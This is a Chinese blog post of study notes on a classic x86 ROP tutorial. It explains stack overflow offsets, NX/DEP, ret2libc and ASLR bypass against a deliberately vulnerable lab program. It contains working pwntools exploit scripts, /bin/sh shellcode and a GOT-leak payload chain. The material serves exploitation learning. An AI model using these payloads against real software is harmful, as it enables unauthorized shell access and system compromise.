【逆向学习记录】学习《一步一步学ROP_x86》

本文详细记录了学习《一步一步学ROP_x86》的过程,涵盖从栈溢出到DEP/NX,再到ASLR的调试细节。通过源代码、汇编分析,解释了RET地址计算、NX机制、Return-to-libc等概念,并提供了漏洞利用的脚本和调试方法。

1.概述

通过前面三篇文章,学习栈帧,GOT表,PLT表,接下来就可以进行漏洞利用,漏洞利用学习最好的方法就是利用经典,其中经典教学里面最经典的当属蒸米大神的一步一步教学系列
一步一步学ROP之linux_x86篇 – 蒸米
蒸米大神的文章,是实战类型,里面有不少细节的东西,对于我这种没有基础的人来讲,如果不理解是很容易忘记的,因此进行原理上的学习探索
环境:ubuntu 16.04
编译需要在原来的基础上添加-m32参数

2 一步一步的调试并解决疑问

2.1 源代码(蒸米)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

2.2 汇编代码

    0x08048460 <+0>:     lea    ecx,[esp+0x4]
    0x08048464 <+4>:     and    esp,0xfffffff0
    0x08048467 <+7>:     push   DWORD PTR [ecx-0x4]
    0x0804846a <+10>:    push   ebp
    0x0804846b <+11>:    mov    ebp,esp
    0x0804846d <+13>:    push   ecx
    0x0804846e <+14>:    sub    esp,0x4
    0x08048471 <+17>:    call   0x804843b <vulnerable_function>
        0x0804843b <+0>:     push   ebp
        0x0804843c <+1>:     mov    ebp,esp
        0x0804843e <+3>:     sub    esp,0x88///这是88的关键
        0x08048444 <+9>:     sub    esp,0x4
        0x08048447 <+12>:    push   0x100
        0x0804844c <+17>:    lea    eax,[ebp-0x88]
        0x08048452 <+23>:    push   eax
        0x08048453 <+24>:    push   0x0
        0x08048455 <+26>:    call   0x8048300 <read@plt>
        0x0804845a <+31>:    add    esp,0x10
        0x0804845d <+34>:    nop
        0x0804845e <+35>:    leave
        0x0804845f <+36>:    ret
    0x08048476 <+22>:    sub    esp,0x4
    0x08048479 <+25>:    push   0xd
    0x0804847b <+27>:    push   0x8048520
    0x08048480 <+32>:    push   0x1
    0x08048482 <+34>:    call   0x8048320 <write@plt>
    0x08048487 <+39>:    add    esp,0x10
    0x0804848a <+42>:    mov    eax,0x0
    0x0804848f <+47>:    mov    ecx,DWORD PTR [ebp-0x4]
    0x08048492 <+50>:    leave
    0x08048493 <+51>:    lea    esp,[ecx-0x4]
    0x08048496 <+54>:    ret

2.3 level1 调试细节

2.3.1为什么是溢出点140个字节

通过画堆栈图,对比在read执行之前和执行之后的堆栈变化,进行计算
在这里插入图片描述
140个字节就是0xffffd52c - 0xffffd4a0 = 140
而Ret的地址为0xffffd52c----0xffffd530之间的四个字节
所以覆盖返回地址要 140 + ret

2.3.2 level1中的ret是什么,如何计算出来

直接copy 蒸米大神的漏洞利用exp

#!/usr/bin/env python
from pwn import *
p = process('./level1') 
ret = 0xbffff290

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret) 
# 对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #发送payload

p.interactive()  #开启交互shell

上面的ret = 0xbffff290
首先ret是什么:返回地址,为了漏洞利用,将返回地址改成栈的地址
栈的内容是如何计算的:蒸米大神是通过coredump打出来的,
这里也是可以通过调试的方法打出来的:
在这里插入图片描述
根据gdb调试的堆栈图来看:上面代码的中ret应该是buffer首地址也就是0xffffd4a0,但是实际上会有稍微一点点的偏差:直接引用蒸米大神的说法
对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置
因此这里的再调试的时候,就需要通过gdb和pwntools一起调试就行了:
在这里插入图片描述
通过比较第一次的堆栈图:0x100 下面第二个地址及为buffer 的返回地址,然后修改代码为:

from pwn import *
p = process('./level1')
#ret = 0xbffff290
ret = 0xffffd4c0

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret)
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload)
p.interactive()

执行完成之后,成功拿到shell
在这里插入图片描述

2.3.3 什么是NX(DEP)

在上面的漏洞利用的过程中,是把shellcode放到栈上,然后通过控制Ret返回到栈上,进行执行,可以通过checksec查看一下当前的安全机制,NX是关闭的
在这里插入图片描述

标题因此也就明白了,NX的含义就是栈不可执行

因此在level2的时候,通过执行栈的代码,已经不可行了
在这里插入图片描述

2.4 level2 调试细节(DEP/NX)

2.4.1 什么是return to libc

Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护
顾名思义就是通过返回调用在libc中已经存在的函数,完成漏洞利用工作
通过上面我们可以看到,NX开了之后,栈上的代码是不可以执行的,所以只能通过代码段的执行

fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

2.4.2 为什么大家都倾向于使用__libc_start_main

同时查看Got表可以看到:

[DEBUG] PLT 0x8048300 read
[DEBUG] PLT 0x8048310 __libc_start_main
[DEBUG] PLT 0x8048320 write
[DEBUG] PLT 0x8048330 __gmon_start__

在函数运行开始,根据GOT和PLT的关系,函数开始运行到main时:__libc_start_main的GOT表中的地址是真实地址,其他的地址都是第一次尚未执行的地址
通过下面对比write的GOT的内容与Write真实地址,同时对比__libc_start_main和真实地址可以看到write got表中的地址,此时并不等于write的真实地址
在这里插入图片描述
因此:
1.__libc_start_main是每个程序都有的,具有通用性
2.__libc_start_main中的地址为真实地址

2.4.3漏洞利用脚本(改)

适配本地环境之后,进一步完成漏洞利用脚本

from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef
systemaddr=0xf7e41940
binshaddr=0xf7f6002b

payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)

p.interactive()

注意,如果使用peda话,search的命令需要改一下,

gdb-peda$ searchmem "/bin/sh" 0xf7e07000 0xf7fb8000
Searching for '/bin/sh' in range: 0xf7e07000 - 0xf7fb8000
Found 1 results, display max 1 items:
libc : 0xf7f6002b ("/bin/sh")

这里的起始地址和结束地址可以使用:
cat /proc/{pid}/maps查看一下libc的起始地址(f7e07000)和结束地址(f7fb8000 )

f7e07000-f7fb4000 r-xp 00000000 08:01 914180                             /lib32/libc-2.23.so
f7fb4000-f7fb5000 ---p 001ad000 08:01 914180                             /lib32/libc-2.23.so
f7fb5000-f7fb7000 r--p 001ad000 08:01 914180                             /lib32/libc-2.23.so
f7fb7000-f7fb8000 rw-p 001af000 08:01 914180                             /lib32/libc-2.23.so

2.4.4漏洞利用脚本中的RET是什么?

payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

这里有个ret,这个ret到底是什么,又是怎么来的,这里赋值有什么技巧
首先这里写一个system函数测试一下:

#include<stdio.h>
#include<stdlib.h>
int main()
{
    printf("command\n");
    system("/bin/sh");
    return 0;
}

关键汇编代码为

   0x0804845f <+36>:    push   0x8048508
   0x08048464 <+41>:    call   0x8048310 <system@plt>
   0x08048469 <+46>:    add    esp,0x10
   0x0804846c <+49>:    mov    eax,0x0

断点分别断在0x08048464 及system,然后画堆栈图为
在这里插入图片描述
1.32位函数传参是通过栈来传参的
2.system函数会读取ret + 4 的地址内容作为参数传递
3.ret的值可以随意设置,因为执行完成/bin/sh之后,程序返回与否都无关系,shell已经拿到
因此漏洞利用程序send之后的堆栈为
在这里插入图片描述

2.4.5漏洞利用脚本(全自动)

通过leak函数或者通过print可以泄露某个固定的地址(栈溢出存在NX但是系统关闭ALSR)
如果是本地process可以通过leak函数,如果是远程环境,就改成固定地址

from pwn import *
context.log_level="debug"

p = process("./level2")
level2_elf = ELF("./level2")
libc_elf = ELF("/lib32/libc-2.23.so")
#libc_start_main_got_addr = level2_elf.got["__libc_start_main"]
#print("libc_start_main_got_addr: " + hex(libc_start_main_got_addr))
#libc_start_main_addr = int(p.leak(libc_start_main_got_addr,4)[::-1].encode("hex"),16)
#print("libc_start_main_addr: " + hex(libc_start_main_addr))

libc_start_main_addr = int("0xf7e07000",16)
print("libc_start_main_addr: " + hex(libc_start_main_addr))

libc_addr = libc_start_main_addr - libc_elf.symbols["__libc_start_main"]
print("libc_addr: " + hex(libc_addr))

system_addr = libc_addr + libc_elf.symbols["system"]
print("system_addr: " + hex(system_addr))

binsh_addr = libc_addr + next(libc_elf.search('/bin/sh'))
print("binsh_addr: " + hex(binsh_addr))

payload =  'A'*140 + p32(system_addr) + p32(1) + p32(binsh_addr)
p.send(payload)
p.interactive()

2.4.6漏洞libc是如何获得的

通过ldd命令:同时也能看到libc的起始地址
在这里插入图片描述
与上文计算出来的相同,如果不想用leak函数,可以直接用这个地址进行计算
在这里插入图片描述

2.5 level3 调试细节(ASLR)

开始ASLR

sudo -s 
echo 2 > /proc/sys/kernel/randomize_va_space

2.5.1 开启了之后的程序差别在什么地方

通过上文知道,未开启之前,通过ldd是可以查看libc的基地址的,并且始终为:0xf7e07000
但是开启之后,执行多次ldd结果如下,每次都是不一样的,也就是说之前获取libc基地址的方法不好使了
在这里插入图片描述

2.5.2 漏洞利用代码

根据蒸米的代码稍微做少量的修改

from pwn import *
context.log_level="debug"

p = process("./level2")
level2_elf = ELF("./level2")
libc_elf = ELF("/lib32/libc-2.23.so")

# p = remote('127.0.0.1', 10003)

plt_write = level2_elf.plt['write']
print('plt_write= ' + hex(plt_write))
got_write = level2_elf.got['write']
print('got_write= ' + hex(got_write))
vulfun_addr = 0x804843b
print('vulfun= ' + hex(vulfun_addr))

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print("\n###sending payload1 ...###")
p.send(payload1)

print("\n###receving write() addr...###")
write_addr = u32(p.recv(4))
print('write_addr=' + hex(write_addr))

print("\n###calculating system() addr and \"/bin/sh\" addr...###")
system_addr = write_addr - (libc_elf.symbols['write'] - libc_elf.symbols['system'])
print('system_addr= ' + hex(system_addr))
binsh_addr = write_addr - (libc_elf.symbols['write'] - next(libc_elf.search('/bin/sh')))
print('binsh_addr= ' + hex(binsh_addr))

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print("\n###sending payload2 ...###")
p.send(payload2)

p.interactive()

2.5.3 write函数payload的含义

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

我第一次看这个函数时,没有看懂这段payload的含义的,后来学习画堆栈图之后,这段代码就懂了

在发送第一次payload的地方打个断点,看看堆栈
在这里插入图片描述
其中已知信息为:
在这里插入图片描述
画堆栈图为:
在这里插入图片描述
含义:
1.第一次进入vul函数时,返回地址修改为write函数
2.利用write函数,通过write_got将write函数的真实地址泄露出来
3.执行完成write函数之后,返回地址为vul函数
4.再一次利用vul函数的溢出漏洞,完成漏洞利用工作

3 总结

蒸米大神的这个教程是非常细致的,但是对于我这种零基础的人,还需要一点一点的扣细节才行,通过上面这一系列的调试工作,基本理解了每个阶段的原理(仅限x86系统)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值